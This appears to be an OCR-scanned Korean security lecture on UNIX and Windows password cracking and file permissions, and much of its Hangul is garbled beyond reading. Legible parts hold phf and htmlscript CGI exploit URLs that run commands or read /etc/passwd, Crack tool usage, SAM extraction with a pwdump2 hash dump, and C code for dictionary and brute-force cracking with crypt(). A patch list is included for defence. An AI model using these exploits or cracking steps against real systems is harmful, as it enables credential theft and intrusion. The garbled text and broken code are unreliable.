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iord list: IWDrdliSt.txt Browse

Clutput “ MWT Unix Pa rord Cracker
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. Either use a word list, or just Brute force search for
Bassword: every possible password there is,
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Custom se: B £ I Fast status
, out =it
i — —
Mas “Yersion 1,0
4 Copyright 1996, The Hurrmaster en saver

33 1-1 Get Cracking &H
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Password cracking tool
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A o] A

word list ¢F2] source &= Eo{7}A4 Ao WA F=AHS 3 Hut

d& 54, Az FolA olFS FEE v A o golEuEA, oY

H ZF giste] S YoBuER|, ol Ao T AlEE] A}
F & password ] ¥18]E U2 H7FElA word list 2 &-831A w},

1.2. Password cracking
o= Alz=wlo] 7l e abe] w29 =t Gopuithd whALL OK o] th. o
W oo Auk Abgale] a9 Ent dohfolx R Aol & 4
Atk Aa=E GReks WHe 27 theel 2714 otk

s Y o]Zol} IDO AlA Z A BoA ALgel Er)
A olF= AbgEl Tk
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AQE o T 27|
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&35t A= HdS Thq2

UxAo)lz 22 B4 dAa(lynx)gS H92E Hef
AL&-3ko] Jete/passwd/T LS ¢1al AFH AT F Tt
U

xooxcom ©]2HE Abol B2} gkl bgReh e

o
2
(il

ul =
)

http://xxx.com/cgi-bin/phf/?Qalias=x%0aid

Selw At ohdel o] vhEhdT,

/user/local/bin/ph -m alias=x id

uid=65534 (nobody) gid=65535 (nogroup) groups=65535 (nogroup)

o] 7] 1= AW 7} nobody 2= AFE-Abel o8] AeEar gtk 1
Y7t root 7} o Eh= o]okr]olth. T13to A root 7F HA & 3}
ARE = e 7hAE 5 Qlrh

W 3) (HTML SCRIPT B 15 o] &3 Wy

—/

(o))

Html script & AH&3k= oW Alo]E7E qithd sj29= 91d

k%)

o

A& 4 A 2 ol ©ds] W wiEo]th www.aaa.com ©]

2= ARl EZF glthal 7Hd sk,

http://www.aaa.com/cgi-bin/htmlscript?../../../../etc/passwd

ekl shd gk
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= oA L= S v RS 2eth mEbA cgisbin HHE 9}
Jetc/passwd It o] Q= HHEZ Y Ao we} & D W AN

djof &A AAT ¢ glong F55 T 5 vl gls Aotk
UNIX System 2| Password cracking

UNIX System 2| Password

fuo 958 dngEL 1 3E A7 A By shrh 1A
oA si=guEE A9 & 5 UAS7? A ete/passwd'oll U= AHEAF

=53 2 A s eSS AR Ay B, 22| shadow

il

i

password file & A}-&3}#] &% UNIX system = A}-8%}2] password 7}
/etc/passwd ZFHell Aol Hof glom thg T P om A 7FE o

A

account:encoded password data:uid:gid:GCOS-field:homedir:shell
T Jete/passwd LS vidUEHZ o= )AL

(oA 1.1] vi IC|E{2 HO{=2 /etc/passwd I

$vi /etc/passwd

root :VRLoJ2QnLhRA2:0:0:Supervisor:/:/bin/csh

daemon:*1:1::/::

uucp:*:4:8::/var/spool/uucppublic:
rabbit:ntim91jaUGI.A:104:30:Gil Dong
Hong:/home/rabbit:/usr/local/bin/tcsh
sky:tdtwKgRa3ZZo0I:129:30:Jun Hu:/home/sky:/usr/local/bin/tcsh

blue:u2WK1gINaIP8w:11529:410::Sang Ok Lim/home/blue:/bin/csh
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A M &2 root, daemon, uucp 2F= Al =8 7 (account)ol]
a7 vgel] U4t FE2 rabbit U sky 22 ID E 7Fd AiE fAE

of ¥3k HHolth

el sky & A9 ARE AR vea 2o

fjn

ofl

e
rok
02
HT

[G& 1.2]ID& 7tF L4 |X

sky:tdtwKgRa3ZZ0I:129:30:Jun Hu:/home/sky:/usr/local/bin/tcsh

@ : @ : Q0 :@: ® ® @

A7 Z4zte] =& & V|Fo R vy e 79 dE(field)E v

* 1Field: F4 °l&
*» 2Field: FA49 H2HE (HE BAFTH] FAY dolrA XshA
HPAA Fe=h 5 shadow AHE Aloll= x =2 FAEHH
» 3Field: 742 ID number(UID)
= 4Field: 47} 8= 252 ID number(GID)
*» 5Field: 49 AA <&
» 6Field: 49 & fdE
» 7Field: F4 7} A}-&3+= Shell
=, 99 ARE #A4ed
= A o] F:sky

= password: tdtwKgRa3ZZol (encrypt(Q 3 3P A1 A Lol %] H-&1A

¥ ol Att)
= UID: 129
= GID:30

w AA 549 o] Jun Hu

- 79 T 9E2):/home/sky
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1212 2 shadow password file Q1 4 -F-ol = ¢ WA= 25 t=uh
/etc/passwd ¥} 2] password FH F-Eo| ‘@) R FAIZ}
second file(shadow 3})ol] A A &3 3ld AR} gJom o] = o
1k ALE A S0 Al Aglo] §l7] wEol 53l password 4 HE access
& U Ao 2Eud 34 dsstE fEe ot S a3
/etc/shadow ol A= o] Jete/passwd 2F A& A% o] passwd 3} 2]
e F2s Aer(@d=dsshst A7]a i

Shadow password file ] ZE=& AHHH T3 o] F g 7o I==

T35 St
[0 X 1.3] Shadow password file 2] HE

prosyh:SaDWwSSEWDo:10141:-1:30: 7: 7:-1:0

D : @ : 0@ :@:0:60:@:0:9

» 1Field:ID

* 2Field: ¢33td A=

» 3Field: H H2=9= AAIR

* 4Field: W29 =E vl § oA vk wj7hx| o] da

» 5Field: H~9= Sa7)3H

*» 6Field: fFa7|tte] 7] Aol g It

* 7Field: fFa7|to] B & AAQe A&5S AR w79l 7|3k




YEECH Al SgXtE

*» 8Field: A H&Hol AFHE F At @5

* gField: 1'F H| ¥ F+= ¢

ol A o+ 4= ¢l%o] Shadow password file 2] S AF&-&H A= s
ol B = QA sl 7l ¥ ofyet A A= E wptA S S

A= Aotk &8 Jete/shadow = %27} FLskr] vl o HAT A=
G A EAZE obd thE o] Fg Aol LAl oA /shadow &
T A= A7 AVIA A 1 55 =EoF g

52 /Jetc/shadow & 9= Ao R &= WA= s doplitta & 4= §lA
g d@A Yokl A9 E] e oue o gle(AREATE BgE
APl gle €2 S Udstol ) dojsoldt dto e AIZIRE FojxW A
A7) & = Qe =S 7 5E AL 9o 22 shadow & Y@ s

At dA T AL ARGAbe] ek daeE A A

m{m
o

£

Ea

e

2

UNIX System 2| password algorithm

UNIX System | A= A&7 912§+ Password & %3} st

DES(Data Encryption Standard) algorithm & A}-&3%+c}. UNIX password ]

]+ DES algorithm & 25 3] %-83}=t] o|u] 2byte 2] salt 23 E&|+=

F7HA 9 ARE o] &oto OS d=atr] e destE A UNIX

< =3 Zrh

= 1A s AREA =] A5 8 AE AdEET

= oW AElE 8 AR Y-E] parity {EE A A3}le] 56 H|E DES
715 AR ARRA 2 =T 84 Wkl B EAgE

o HIER MAg}

= 30 @A 204 AAHE 56 HE 7S ARSIl BE Fhol ‘o
¢l 64 H|E HE

W QhE s,

1o
é
[
o
ly
ol
1>
rlo

Ry
[
il

o

DES ¢t% Wd <dae|Zo] OFB BE 2 o5 3

10



= 4 G 39 64HE EHo 12 HE WRE W YEta, o=
11 A9] Q1] 7hs et EAkR AR gt

A 40 AFEEE 12 HE BEE fagE A4 we) g 2 4
E

ANEA Q] T A= HRA oA Al=-g 2]H X 2 E F(challenge-response
identifica-tion protocol) 2 A &}= Ao A Ak Ho] A& 2L

= H2](one-time pass-word scheme) ©. 2 2 J=2 A3 vk AL&3F= W
Aot} A3 9= WA 9

om, AYF T4 AgEE Yotk

R
==

9l Ao 2= Lamport 2] o] 3l

o

UNIX System 2| Password cracking

12 UNIX system o] {29 = 7> o|9A s=7H t3d3] = DES
algorithm & ©]-&3t t}¢3t password cracking tool ©] &gt} =314 o

% UNIX system ] password ¢} 3} ¢ #bgkojm g ¢33} o

o] 2 At AREAZE Wol ARSSHA Y Al = d@olE = password
2 99 9 F JdE bgYd dolER oo ydoe|th 7HA A Y& AL
< (Dictionary)®] ©o]5S DES €arg] el oe) a3} A
o] 9+53l% password 23} HwE e AlgAle] 9F S wAs) whE)

N
A

>
>
ofo
>
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YEECH Al SgXtE

A AR gkl o] F7])9F EA ol k) password cracking °] A Fo] F9-¥
t}.

olm] At = ATt Ao Ee AxHoAE d=g 9=
A& ARESe] A EE RoFA etk AvE dellA Y 2e] o
3

dzst dagFe 7o Brbe stk fivh 2y BER Ja=s ¢t

T8, oAb S A ek go] Abdel 9l

W FA oAb el kTt EAlEh B gopd 9l
whof] 9o Al dFFY Hely|® k. Crack & FHF wo] BE(4}
A)g 7hACkt Bk 2 des Bd S olvh do] H52 ASCH 4
o AFE] A= w@ols

guistr] flel 2R dol HEE A

A H2AE I A SZ& 0[88h UNIX A= 33

Yo Aagd Qi Al Aagsd ga) AATAL ARES A,

a8)7] Yl e FA3] Jete/passwd HAHE U3} Crack 32 AT

= ARE o &gl Aol A : Crack
= Qe 27 :Coo] + FEHI} (HEHoR AYAY tUs T2
sk 95 AREStE ™, Perl ©] F 83)T)

Y
>
il
s
ofo

» A7 3¢ : dictgrps.conf, dictrun.conf, network.conf.

12



= T AR FER Crack & Addfof dhrh w3 thE ALEE9]

A== UG o] galo] Crack & st WAHY Eyo]7]

Crack < e =olA e deixl A= HAF Z=qrolth

Crack & %o} <pale] w29 =] tha) b o =B8] RS .

2
2
Ll
>
09111’
_O‘L
rlr
M
Sv
rlr
o
o
=)
iy
=

» Crack &= =£7]
» Crack 7 33}7]
» Crack 2!3§3s}7]

- A Asn)

Crack & AEW2 Fol A3 HeEefo] HARITL /root T # =] oA
=2

UES EZEE 3t} Gunzip I tar S 0] &3l UEFS

M

$ gunzip crack5.0.tar.gz

S tar —-xvf crack5.0.tar

OF Z717F BUW cs0a/2Y YEEDRE 27 Fo| manualixt S <l

[

A4 AR A o] Alake] QA Sl

® Crack #Hid3s}7]

Crack & ATdst7] M vha 22 BHSs APgoh

$./Crack -makeonly

13



M4

i
Tor

__lo,_m

—_

oJ

%0

¥

0
s

all made in util

‘/root/c50a/src/util/’

Leaving directory

make[1]

makeonly done

Crack:

o
M
—~
fi%e)

—

=y

RH

oj

3

!

of
il
o]
ol

$./Crack -makedict

Crack: Created new dictionaries..

: makedict done

Crack

3}7]

® Crack 23

=
l

o
el

EE

B

o)
= 4

/etc/passwd 3}

o
T

Crack

A& /desoa U] g E 2]

o}, WA, Jete/passwd I}

gt

passwords.txt. = A}

S cp /etc/passwd password.txt

3 A7)tk

2] 3]

S o1x}& 34 Crack &

o)
=

B

=3

$ Crack passwords.txt

7]

FEEA =

KeRPN|
T =

Crack
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i M frn
K >3 K -
E# . K _Zﬁl
ﬂ —_—
Mm__. oF U m__m - m_m =
- = ol KA 2+ —
< E au K oR
5 ol i K i =
50w ) E) - 4 ik
u._ e ) = ! 3 ol = do
K0 : o) — o or | | p Pl - | =
MErr e K 8] . T[4 R F WlT |
) B N %D A RS
B0 T ~N | A o | T 1 I O o 2
g:d o K- | T ) of [ 1R
— ol o - M Holar [ M o ||
= U 'R NG I N1 (i R | = IRl = | R | H
i el - — | =, | O | W K A - | O
o ‘UI R o__”_ K 1ol ﬂw._ lum_ul_ _”_I _”_I —_ =.___._._ U e _”_I —_
e B woTF R |HIT | 2 A |4 M
T — —_ —_ —_ —_ —_ —_
A oi_ 5K o | = < P " w__ o ol % o | &
G op N S| W | U | o | = ha S e I R
~ i 0 il
= tia - ™ e |z | K © | 5 9
do o ~ b | oy | K| WU W OH SR of | U | gy | )
= e < W o || I 3
o = =3 o ol E e o | o ol | B
oy op Ay = B A T T L O O B iy _ | = [
W%o ~ (Y s ) K K|RK |R HIZIRIRIAIR|R
D o T S R o Bl T I TR v I B R T e B
N GO I N
= N _y — A}
S — \q Hl ~ T —
CR X il o s | = s |
o ol o or S T | 5 S @) el | | =] o | =
= < S|l el DT ol 9 = o | =l w|w| |2
o = S 5| 85|25 2|8 5 21| 3| a2| & g
N T OB 5 s|s|£|8|S8|g| 5 |s|2|c|8|¢|E
" o | B58lals| 35| @ ] S|l ol >| o|o
ol = ) S| ) o | =
oo N L -2 S|8| 2 |&|% %2858
Lo
ooy B 2
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YEECH At &

>

=

[l & 1.4]

1:925693285:LoadDictionary: loaded 10 words into memory
c:925693285:y1RWmr3zvhms6: Prosyh
1:925693285:0penDictStream: trying: kickdict 4
1:925693285:0penDictStream: status: /ok/stat=1 look=4 find=4
genset='conf/rules.basic’rule='!?Alp’ dgrp='gecos’

prog='smartcat’

o Ay} A7
A Ayt FAHJEAE A u7] 98 = /es0a UHED
o 91% Reporter #hi= ZEIHS ARG S}

S./Reporter

2o 99 oA A Crack & 23AAH A Aotk

dlo

Guessed Sun [Sun] Sung hyun Kim [passwords.txt /bin/bash]
Guessed Moon [Silvermoon] User [passwords.txt /bin/bash]
Guessed Star [Yellowstar] User [passwords.txt /bin/bash]

Guessed Wind [Sky] User [passwords.txt /bin/bash]

16



E 1-2Crack e HdH o gM

= M = H
-debug SH HEel 7Y A=g FHoC
Crack 2 ZIZ2}2E(foreground)2 Aldisto =i ZTIHAsts &t
-fgnd
olet &= Ach
-from N N&#H® H22E AHZ5HCh
I AQETL 20| E ALSXo[ A MAH Y S L& ot
-mail
M 22 c50a/scripts/nastygram Thl 2 HEISHH =Ct
HE93 zZE=2 MEsich o] RE= 03] A|AHES ALE5}H0]
-network
SAlo| HAEE ZAISHA & F UCh
Crack 2 92 M =2 ZZM2Z S&5HH sich =8 M
-nice T2 ZEMAM= CPU & ®o| ALEst7| fZof ool Ho]Ag
377t 2 W REsHH ALEE = UCh
HIEMMH SE2E2REH CHA| AR Of AREste SHEE O o
-recover
of 2SO FUH 2lo|E2{2|E 0|85t0 HHZa A RS st

= 7 4 9
A, U5, RHA S 2E AIAHOIN ALS JHSE HA

John the Ripper crypt(3) & ALESIX| 2 XpAlote] AdTE|[ES ALEE

o ZAM=7F & =0 Aot
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YEEO A SHERE

- T o H
Doctor Dissector Off =gtz ZIotel mjARQIE ZHA| £,
Killer Cracker C++2 M0{M U209, Crack oA X|&st= 7|5 S0 LdF
7b eict, a2{Lt olEIX| 2 wECh
2ls5A0t ChE2 RYA S (st HA/JYE ZHAIEF. E

Lard 2u| cazlo S0{&

0?'._

T2 37|17t 2ot HESFIE A

A= X 2 AIAEOM ALSALZ] ECL

=

PerlCrack Perl 2 M| Z}=l DES mjA Q= 324 =7,
FUAEISA HAUSE T 9IS Perl 2TBE
Xcrack S5t A&E2 ME25HK| 2= thalol ANl s SOl E

1.2.2,

H
:oé
%
rr
—d
)
Ho
=
inss
as
=
=
o
=
[¢]
o
-
(@)
[¢)
oo
=
oo
o
g
o
2
of{
ot
k)
o,
S,
rlo
—d
)

T A A2 el xol= F29 ol W2 (brute force attacks)S 1Al

7he A EE Fold 5 v AHolth o7IA AAlVbE 7 do] 4
=3
=

Windows Server A|AER| 2| Password cracking

Windows Server A] 2~&] 2] SAM(Security Account Manager)ol| & A}-&4}3
¥ 53ty fAaYg=rt £ Uk el al, UNIX ¢ /Jete/passwd 3}
A3} ¥523k S = Ao 2 Windows Server Al ~E d]7) o] F

7 ol k.

18
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MEEO AR SRR

SAM 2 ©]H7kA] 2] & LanMan 3l <1< Windows Server 7He] Al 28
NT 34 duglEo g HeFAE sl=d], o7]4 LanMan 313 #S &
o] AA3st= o]+ windows ox ¢ o] W 79| workstation 532 %3k
’d& 9314 ©]t}. LanManager 341 € aE]52 $ka1, A9 = Ao o}
g ==t =E2E 5 A FHEAES 7P 1ol NT a7 A
e & Al

SAM < lophtcrack #2 555 ©|-&34 o] 7} 3ttt lophterack 9
M7 2.5 9 %%, Pentiumll 450MHz 9] AlYS 71202 B o dujuly)
ZAREO. 2 o] Folxl A =Ebd o4 ARE ool B F o] Fhedd

3wolr,
SAM E S5
BaE Adoln A BAE HAYE HAS A5 ANT ) B

SAM)©|t}, SAM 3} 2 %systemroot%\system32\config H = E 2| A%
Hof

o) c:\winnt\system32\config\SAM

i)

SAM 912 OS o HaF<t lock o] A7 FEjo] = AR} ALE
T etk
SAM H|O|E{E 7| 98t 4 7HX| 9HH
® T} 0S=E Hysl7]
» DOS Z {¥g 3},
= NTFSDOS £ A}-&3&]4 NTFS HE|AS DOS ¢ =gfolHE nl&E

A71E
- SAM T BA @,

® WE SAM 13U S repair directory ZH-E 714 Q7]

19



MEBOH ALF SRR

rdisk /s: Al2®] A AW E Q]

ol
rir
o
ol

} o]
»  %systemroot%\repair o SAM._ 3} o] A H T}
= lophtcrack ¢] Tmport'®=+ expand W H S AR Fo] AlgT

AT

o) C:\WINNT\repair>expand sam. sam
Microsoft (R) File Expansion Utility Version 2.50

Copyright (C) Microsoft Corp 1990-1996. All rights reserved.

to

sam. (£) sam (%)= B-H3Ir).

sam. : 12273 H}o]EC| A 45056 HFo]ER A= QITh. 2673 57t

C:\WINNT\repair>

® SAM O 2HE 4] F=3}7]
*  pwdump '} pwdump2 E& A3}
- Jetc/passwd 3 HE|Z A EFA A= sHAE |
B e
- pwdump ¢} lophterack < SYSKEY & ¢t st SAM ol of &l
e A S glomz gt go] pwdump? & AHE-St).
* pwdump2 E H3E A|Z=HIS] @gto] FojEl IR FFol A
A,
- pwdump2 & AH418] rzhem & T2 ZEAM2A FHOE o)

7] 910 DLL F9144& AHg gt

[l H 1.5] Isass.exe 2| PID (48)& pwdump2 8| S& Z=ZAMAZ MY

c: \>pwdump?2 48
Username : Relative ID : LanMan hash : NT hash

Administrator:500:xxxxxxxxxxxxxx8c06£fb54879%9abeblal3a?27dbe81£07:
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axxx11:1011 :xxxxxxxxxxc2b4237a797:10bd4e86d467963bal9%c3daebel0
1da5:::

crxx:1007 : xxxxxxxx294261£598b4c:61c0dd3568c6cldae9£9c59cellclt
13gzs
dxxxeud:1017::xxxxxxxxxxxxx2cf01486235a2333e4d2:abbaelc847db4la
b282 afdl7ef6cad%6:::

DxxxxUDS$:1023 : xxxxxxxxxxxx5b51404ee:9a339%9ad60482b8a2b552¢ccebed
37dceb:::
gaxxxa:1009:xxxxxxxxxfc2a20cae’7226e17d:03553199190ccf03825¢c480
168e279%bd: : :
Gxxxx:501:axxxxxxxxxxxxxx04eeaad3b435b51404ee:31d6cfel0dlbae931
b73c59d7€0c089c0: ::

hxxa:1022: 6xxxxxxxxxxxxxxxa86fa:bf70£92£80bb9582c12c6b04b74d00
4d:::

hsxxxg:1013: XXXXXXXRXXXXXXXXXXXXXXXXX4104d4c4531£9¢c93e10c996a09
lbed: ::

TUSR xxx:1001:xxXxXXXXXXXXxxXxx9675d5£475b5d086:912a8£d8896f6a5
c23£fc90c88c295e3b:

IWAM xxxS:1003:xxxXxxXxxXxxXxXxxXxxxXf131c9%dde8e9batbce7ac: ::
Jsmxxxc:1012:8b6xxxxxxxxxXXxxxxxx96f£853031eelfall6c810124d2£24
2t
kxxxe:1010:62b3c2eexxxxxXXXXXXXXXXXxx9a7693e605b76c5£715d%ab32
fb326:::
Kxxx$:1016:2ad3b4xxxxXXXXXXXXXXxxXXXx51404ee:8c23f58b568al67bd3
b249579dded3cf: ::
0ox:1006:71f1631xxxxxxxxxxxxxbc8efalc581dede: ::

0Ix$:1014:aad3bxxxxxxxxxxx5920bl7a76dec6043e3£f375e9:::
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POxxS$:1000:fe7661lxxxxxxxxxxxxxxa:83a003£3942f890bd7d136b975a4a
e506¢ ¢ 3
redxxxcomet:1021:2daxxxxxxxxxxxxxxxx65£36030673dd: 7e598beb4899
df££92d45a795555e3d9: ::
RxDxxxT$:1020:aad3b435bxxxx04xxexxaxxx3b435b51404ee:01288b07dc
eb%aa3cf78eba730b2936f: ::
sexxxxe:1015:08a3aldel0bc551c017306d272a9441bb:1bb9d92259d3£2bb
45pd917202effebc: ::

VUSR PxIS:1018:4f67cbbaxxxxxxxxxxxf5a5960£516861778ea3:19%9af70c

39ac49335abcf882a8fee2738:::

= DLL F4%2]
- pwdump2 & lIsass 7} Isass ©] T4¥ S 2 pwdump2 ] 2
&l =83 samdump.dll & ZE3FIES $Hrh samdump.dll ©]
Isass ¢ F2F7to 2 2omd A dfHS HEe=

5o msvi_odll & TEFFo2H A= FAZES 53
® NT H2g=29] W3S SHY|
= lophterack & ©]-&3]4 SMB A= d|4E 7HA o)
Windows Server A|AH o] TjAQIE FelZ &

® Lophtcrack

SAM HlolH & 7FAZ w o] &3ttt A= AR o] & §4, Htes &
Z}F set, 729 Al W2 (brute force attack)®] =-8&°] 7} 35}t SYSKEY
2 gt=shdE SAM HolE o] Zf-ol = pwdump2 & ©]&3F Fol L]
AH-&-gh,

® John the ripper

22



1.2.3.

MEEO AR SRR

LanMan 3ll5] Aol o]&3tt}. AL ©]-& 37 (dictionary-only cracker)
WA o ® F9S gtk LanMan 3iF oW A& EHB 2 T ATt diAE
A7 £8E ==k A e

® Crack 5 with NT Extension

* John the ripper ¢} crack & 257 Y@= UNIX ¢ #j~9j= 9 Fo|t,

Windows Desktop A|AH 2| Password cracking

Microsoft Windows ME, Microsoft Windows 98/98se, Microsoft Windows9s
oM THEH AdEE FA Lobd F A= 7IWel U HIUH. FHd
ZUE 373 9t AladY T A= G20 FpAolA F<l
password ¢ Zo]i= & 8bytes ©] A Uk, NetBIOS 7& 2] wA1d w&
of, dAU(EA) TAA7E T A=Y= Felo| Bagk 7S Bud
/] 22l password ¢] 4o]E 8bytes Bt} 42> Zo](1bytes 7M1= 71F)
=2 hge] A" & 7 AT

WA password AolE 1byte 2 AYstH =] AHA EAE A
F55 Fa1, Al%s)A password Zo]E 1bytes ¥ S| HA HUHE
A S BlS o Eote= & WIS HW ol HA dE9=E

=3 4 QU Aok shteht B4 Ruus U4 geAg el

4
%o
fr
S
o
o
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FUHA DjAQE T =3 of &

HHEe) ARZ 2L eryptQFrE o183 A REH AT =
cryptQ 35S o] &dto] WHE sjAaY= ossl dug|Fol EAEA

7] W] E7 AgEHE FRelv|w Bk

& 5o A Tzl A3 ddE dyral

Shadow =9 =7} "7tgNQGFbMOk3s" 2t 74 std, -4 A9 22
O o] Abd Hde BAE . R gojabd Bde o2
w1 3

aa
aaa
aaaa
ab

aba
across

auto

7@ oo
VA

VAV

24



HE ol ALS

0
19
0>
Ral
il

yAeJe]

|2 Goladel A Aol Ao ot wolwt @ o] @ wol Sze}

g 38 ZeaR2 cryptQ FErol Al FF Fdll @ ol JoA
oz sty HAY=S wEY, 283 "tgNQGFbMOkss" ¢F Hlw = 1}
g tE deolz. SEd tadol®. o #HA FTHAA

FE glo] gEsa st A9e WA o w28 Zao
@ 5

o
o
Y
2
o
|

2
|
=
Ke2)
N
ri
1A
o
L
Ju
|H
HU
4
o

> A, crypt () &ell thaiA Lopr A,
$ man crypt
CRYPT (3) Library functions CRYPT (3)
NAME
crypt - password and data encryption
SYNOPSIS
#define XOPEN SOURCE
#include <unistd.h>

char *crypt (const char *key, const char *salt);

(ols} A=)

W ook £g Rw,
char *crypt (const char *key, const char *salt);

olehz Bgol Qdl, o] ¥#o] crypt () &5l AHgHoltt.
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YEEO A SHERE

salt 71 433 & o Y+ oA HFE Fho] o' AS Yt wg ¢4
st safert depdn. dubdow ost ® A= W g
TA7E salt 717F €rk. flollA dE € ¢estd g =E,
“7tgNQGFbMOk3s” A salt 7]&= “7t”°|t}.

AA zEay e,

crypt ("&ol", "7t") ;

oA std Hrt.

5
=
[
__‘(2
[
il
e
iy
=
O

a9 crypt () FE G

ool AAR o4

H
[
__&
[t
il
l-‘ET
|11
rir
[k
utl
I
i)
o
rﬂ
il
2
f
>

o
)

R

Y
[n
ra
[n
rr
|H
HU
I
O

[OIF 1.7] AME 55tE @A

#include <unistd.h>

main (int argc, char **argv)

{

char buff[1024];

if ( argc < 2 ) {

printf ("usage: %s password salt key\n", argv[0]);

exit (1) ;

strcpy (buf, crypt (argv[l],argvi(2]))

printf ("crypt [%s] => %s \n",argv[1l],buff);
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[oIA 1.8] example.c &2}

$ gcc -o example example.c -lcrypt
$ ./example hahaha 7t

crypt [hahaha] => 7tgNQGFbMOk3s

Aol Aol Bi= ZAAF hahaha k= @ols} salt 7|15 “7t"= A
cryptQO¥HrE ST Y flollA HARAE dsste A= ad ) o}

Zth o] Y E AT E TWo] o] L3 Aol

AR EolA ve BEE

7
1% 9w, ol @A L Abgre] k53 W 929 =7) "styurywBg8xfe" 2}

A ZRIYSE vhEolA A9 djof Ay det A8 Z2a3s v

= salt 7] :s5t
» 42 AR g a9 solng A= WelE 1000 ~ 9999
ol 2l

9 ARE BEUE ZRads wEe] Rl

[ 1.9] HAYE Tz
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YEEOH At StgAlE

o] 23S example2.c ¥ °]F il Hapdste] v} g A3t
ved Aol

ol

[0IA 1.10] example2.c Z 1}
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aey 9 22w dueFe AvnA,

for)%S ©]&3to] count o] 1000 ~9999 7}A] FEZ ELE Fou,
cryptQOEa wAE W 9] wZo count A& buf
sprintf() & o]-&3sto] Wojx AFEd L, stremp() &

38 gm0t Hashs B4 Abgstel Trawe dgug.

3w
rlr
Mo
Y
g
o
3

ool = AR dojAbd S ZhA 9 AHE st RIS wEojRAl

ool = AMER daste A= E AL, "g9usLyKKDNKgk" (3% 52
# UAEAE & FEAHK 9 k). 7189 BHoRE o dustE v
A=E S 71 flrh) oljlolle wo] AbdS ¢lojA siAf=s 3w

W @,

2R

i
|
=

[ 1.11] HARE 3= Z2T20Y

#include <stdio.h>

#include <unistd.h>

main (int argc, char **argv)

{

char data[81], buff[20];

FILE *fp;

if ( argc < 2 ) {
printf ("usage : %s dictionary\n", argv[0]);

exit (0) ;
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fclose (fp) ;

exit (0) ;

o] ZZ & exampleg.c kil o] A AL A9 gt 18] wholARd

%

(S &3l 72 5 Ath. 9714 word &= ©]59 ©@of AP S

[efl® 1.12] example3.c &3}

S gcc -o example3 example3.c -lcrypt
$ ./ example3

usage : ./ example3 dictionary

$ ./ example3 word

OK.

Password : love

$

ol&A 14 love BH= wolE H4 3 )

1.4. Password cracking 2| C{zj

1.4.1.

THA A[AROAM o3

A7 B-& A ~¥lEo] shadow password file & AF&aA] 2k Fy 29 bk
3 W15 E&) o] password FLEo] =2 7H5A o] vk whEbA
shadow password file & AF-&3tlar s A ebA 3 AL ofyr), 71 &2

Sl password cracking ¢ o &2 A}-8-22] password & 4 5317] &=

password & A}-&3t& Flo|t).
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= AW o]FS& # password
» password FAoA S = 9= Tol7l E07F password(dE
0] AR&ARY] o] F,1d Fol £ password)
» WA = @l E A3 password(FrH g AR, frTE Q19
°lF &= AF&3 password)
AR7} 35 0] 9l password(A3HE, FUEEHD,
A} S So] £33 password)
oy, #& =4, 71 F557] 4% A

W54 Aot LA gon 24, SREA, DA 37

]
2
A

i

o]

(
)

U password & AHESHAl ErbH AP 9L S o] &al] AREALE]

password = cracking 3t S wj$- o] @A Hu}
| xte| mjAg= | dHH

AgA A2 o] BHSHETNE obF Fa% BAlOth U

Ae NAAEE gAY awE 1 AsRe Bgsitin & 4 9
tho AR AR AE ofolHE wE W #AsE 1 AgRe
Wefeg JATA Ak 5 WH o} A% BagE E olols

e A=AES At 497t Btk oldl A BEARAY 49
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- d: EAE PN & RAAE Pen
- ST 2EAE S
- C:AEE WEAY A
A AaAE B A WY Rar)te] Jonw weg

[CIX 1.13] =2 HAYE =3

#!/bin/sh

if [ "$1" = "" ]; then

grep -v ':x:' /etc/shadow | awk -F: '{printf "o}o]f] : " §1 \
"ArERE EA v s3 Mt AEE7F EA 0 mssn\nny!

else

grep $1 /etc/shadow | awk -F: '{printf "o}o]tf] : " §1 \
"ArERE EA v s3 Mt AEEZF EA 0 msst\nny

fi

1.4.2. Window NTO{A CHXY
NT AR&AFEC] A f-ole thadt 22 A d o] gl
o 9= A=
w14 EAF =] E B ALE-g)
»  ALT 7]9} z3batc},
= 2AE Alerh

= 33719 7]E71E F7hsoh

1]
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1.4.3.

o @ wolel el Aaglmel Ags ALH AaYs WYS
e,

o welAE WEo] AgA AL AFHES At

o fusol sy 4e NT & fUE ALE

MS A5G oxol A AFHE A, TAY FH 5 F DA A4

7 ohuetm AL srh,

e IX9 ME:
*  Microsoft patch 273991USAM

= http://download.microsoft.com/download/winme/Update/11958 /W
inMe/EN-US/273991USAM.EXE

® % o8se:

»  Microsoft patch 273991USAS8

= http://download.microsoft.com/download/wing8SE/Update/11958/
W98/EN-US/273991USA8.EXE

® =% 98:

*  Microsoft patch 273991USAS8

= http://download.microsoft.com/download/wing8SE/Update/11958/
Wo98/EN-US/273991USA8.EXE
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- AES 058 AT ol FHECE U oY WEA ¥
el glek,

1.5. FIX=

® 3l AHHSAE, www.certcc.or.kr/advisory/ka2000/ka2000-

® 3l 7 234, http://www.hackerslab.org
o v AMHUE H5FE 1S3}, http://comedu.korea.ac.kr/
® © 75 HACKING HOWTO, =% ¥4t 2001.10
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YEEO A SHERE

2. File Permission

2.1. File permission 2 0|&¢t 52| 7

UNIX % NT & AW A28 ARgARe] ID oF ARSAZE &3 15w
gb vt = gEEgol tig A Y, A -File permission-) A|ojE
s 4 gtk Zbzhe] A8l ID &= #Exke] A4 wet 7b i g
e e v A 7HH AL v Skolvh 29 Sulele FE

AgAY Bl AsRAAA b BEd AgAE @ 5 9

e gAEAMNES FE S} Bee) AR 27 A9 @
==

2 w¥g sl Wk 7 g gudent ned A9 & At wA
A3 AYUNIX £9AA 7ol lsAwt Agd 5= glov], £

QA A ~E Ao A FAAH(Hacker)s FEHIIS IS 4= gl WS
grotol gt} AAA|2E oA AA}istel W, A A= Hacking 29 ¢ thd
o] & Alx®le] #ek HA FH Hpo gloerg, de] d#xl 94 Ao

WHEY M Al F Rl o Edfjof it

(2

olel A% Alx®l A= 974 F7F @3S AEAY Atz el W)
H(firewall)oll ] 924 Ao AMu|AE oz Hm =2 AH|AZE] YES]

A ATe WaFeRs, 947 Ao Axgle] HYE Bt 5 g

36



Teu g AR (Hacker)7t 227] 7hs @k BdS 3e o oy, ST AlA
B Heokol g Fokd AuirE Hw Ao, SAELE oS o8
HF7F 7 Aol

“Chmod g+s filename” & 0= RFE0]%l setgroupid WH o2 AAH =

N

2a3(MAEL)S T=29] ID7F 1
g A et

F T AL okd 49 A

AE 72t T2 APHE Follk =& AINEE 519 HIHED
of tigt Alof, FE)s o & 5 Utk

Z}zte] wdo] thak ¢ 3H(File permission)S A4 4= vt AL B4
o avtE B AeE & e A, aga avE HAR
stoh, el FEe AWM s Huds dAgozd o
of Ashe e ATl dolA we =4S 5HA deth 1
